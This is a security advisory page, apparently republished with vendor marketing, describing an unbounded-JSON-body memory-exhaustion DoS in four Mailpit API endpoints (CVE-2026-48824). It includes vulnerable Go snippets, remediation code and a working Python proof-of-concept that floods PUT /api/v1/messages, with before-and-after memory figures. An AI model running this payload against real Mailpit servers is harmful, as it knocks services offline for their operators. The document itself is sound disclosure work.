Summary
Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)
The fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only POST /api/v1/send with http.MaxBytesReader. The four other Mailpit JSON-body API endpoints PUT /api/v1/messages (SetReadStatus), DELETE /api/v1/messages (DeleteMessages), PUT /api/v1/tags (SetMessageTags), and POST /api/v1/message/{id}/release (ReleaseMessage) still call json.NewDecoder(r.Body) directly with no body-size cap and remain reachable unauthenticated in the default docker run axllent/mailpit:latest deploy. An unauthenticated remote attacker can post a multi-million-element IDs slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.
Affected versions
- Mailpit at HEAD
67a7ca83ff759082d2b86dda07eb5bb3dad404e0(v1.30.0, 2026-05-14). - All versions
<= v1.30.0(the release that shipped the GHSA-fpxj fix). Versions< v1.30.0are vulnerable to the original GHSA-fpxj on/api/v1/send; versionv1.30.0carries the sibling-endpoint gap described here.
Privilege required
None in default deploy (no --ui-auth, no --smtp-auth). The four endpoints share the same middleWareFunc wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With --ui-auth=user:pass configured, the same primitive is post-auth, still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.
The incomplete fix
Commit 136bdde ("Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)", 2026-05-12) added the MaxBytesReader wrap in exactly one place:
// server/apiv1/send.go:45-48
if config.MaxMessageSize > 0 {
r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}
decoder := json.NewDecoder(r.Body)
The sibling JSON-body handlers were not updated. Side-by-side at HEAD 67a7ca8:
| File | Function | MaxBytesReader? |
Unauth in default deploy? |
|---|---|---|---|
server/apiv1/send.go:45-48 (SendMessageHandler) |
POST /api/v1/send |
YES (50 MB) | YES (via sendAPIAuthMiddleware falling back to middleWareFunc) |
server/apiv1/messages.go:107 (SetReadStatus) |
PUT /api/v1/messages |
NO | YES |
server/apiv1/messages.go:187 (DeleteMessages) |
DELETE /api/v1/messages |
NO | YES |
server/apiv1/tags.go:54 (SetMessageTags) |
PUT /api/v1/tags |
NO | YES |
server/apiv1/release.go:55 (ReleaseMessage) |
POST /api/v1/message/{id}/release |
NO | YES |
The four sibling handlers all share the shape:
// server/apiv1/messages.go:107-115 (SetReadStatus)
decoder := json.NewDecoder(r.Body)
var data struct {
Read bool
IDs []string
Search string
}
err := decoder.Decode(&data)
No MaxBytesReader, no body-size cap, no r.Header.Get("Content-Length") check. The json.NewDecoder streams the body but each "x" element materialises as a separate Go string plus slice-header overhead, so the unmarshalled []string slice for IDs grows roughly linearly with attacker payload size.
Vulnerable code
server/apiv1/messages.go:107:
func SetReadStatus(w http.ResponseWriter, r *http.Request) {
decoder := json.NewDecoder(r.Body)
var data struct {
Read bool
IDs []string
Search string
}
err := decoder.Decode(&data)
if err != nil {
httpError(w, err.Error())
return
}
// ...
Three other handlers (DeleteMessages, SetMessageTags, ReleaseMessage) match the same shape.
Reachability chain (default deploy)
Listen() # config/config.go HTTPListen = "[::]:8025"
↓
HTTP server # server/server.go:177-186
↓
middleWareFunc(apiv1.SetReadStatus) # server/server.go:178, auth bypassed when UICredentials == nil
↓
SetReadStatus # server/apiv1/messages.go:87
↓
json.NewDecoder(r.Body).Decode(&data) # no MaxBytesReader; allocates 4M Go strings + slice for {"IDs":["x",...]}
↓
RSS grows ~28x relative to payload size
config/config.go's MaxMessageSize field (added by 136bdde) exists and is parsed from --max-message-size (default 50 MB), but it is checked only in server/apiv1/send.go. The four sibling handlers never consult it.
Reproduction (E2E against axllent/mailpit:latest v1.30.0)
# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)
docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest
# 2) baseline RSS
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
# → 8.473MiB / 5.772GiB
# 3) trigger
python3 - <<'PY'
import socket
N = 4_000_000
prefix = b'{"Read": true, "IDs": ['
items = b'"x"' + (b',"x"' * (N - 1))
suffix = b']}'
clen = len(prefix) + len(items) + len(suffix)
s = socket.create_connection(("localhost", 18025), timeout=300)
s.sendall(
b"PUT /api/v1/messages HTTP/1.1\r\n"
b"Host: localhost:18025\r\n"
b"Content-Type: application/json\r\n"
b"Content-Length: " + str(clen).encode() + b"\r\n"
b"Connection: close\r\n\r\n")
s.sendall(prefix)
rem = items
while rem:
s.sendall(rem[:1024*1024]); rem = rem[1024*1024:]
s.sendall(suffix)
s.close()
PY
# 4) post-PoC RSS
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
# → 455.8MiB / 5.772GiB
Observed: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28× amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it.
The same primitive reproduces on DELETE /api/v1/messages, PUT /api/v1/tags, and POST /api/v1/message/{any-id}/release with identical body shapes; each of the four endpoints individually reproduces the same amplification.
Credit
Reported by tonghuaroot.
Impact
- Pre-auth remote memory-exhaustion DoS. Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on
[::]:8025. A single TCP connection sending one ~100 MB JSONIDsbody drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710. - Disk amplification (secondary). The
IDsslice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. ForSetReadStatus, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear inlen(ids). - Same threat model as the parent. The maintainer chose 50 MB as the default cap for
/api/v1/sendto bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded.
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
CVE-2026-48824 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.30.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Apply the same MaxBytesReader pattern already proven on send.go to every JSON-body handler. Concretely, wrap each of the four sibling sites:
// server/apiv1/messages.go:107 (SetReadStatus)
if config.MaxMessageSize > 0 {
r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}
decoder := json.NewDecoder(r.Body)
// server/apiv1/messages.go:187 (DeleteMessages), same wrap
// server/apiv1/tags.go:54 (SetMessageTags), same wrap
// server/apiv1/release.go:55 (ReleaseMessage) , same wrap
A cleaner shape is to factor the cap into the existing middleWareFunc wrapper in server/server.go, so every API handler that is not an upload-style endpoint inherits the cap by default.
Frequently Asked Questions
- What is CVE-2026-48824? CVE-2026-48824 is a medium-severity allocation of resources without limits or throttling vulnerability in github.com/axllent/mailpit (go), affecting versions <= 1.30.0. It is fixed in 1.30.1. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- How severe is CVE-2026-48824? CVE-2026-48824 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/axllent/mailpit are affected by CVE-2026-48824? github.com/axllent/mailpit (go) versions <= 1.30.0 is affected.
- Is there a fix for CVE-2026-48824? Yes. CVE-2026-48824 is fixed in 1.30.1. Upgrade to this version or later.
- Is CVE-2026-48824 exploitable, and should I be worried? Whether CVE-2026-48824 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-48824 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-48824? Upgrade
github.com/axllent/mailpitto 1.30.1 or later.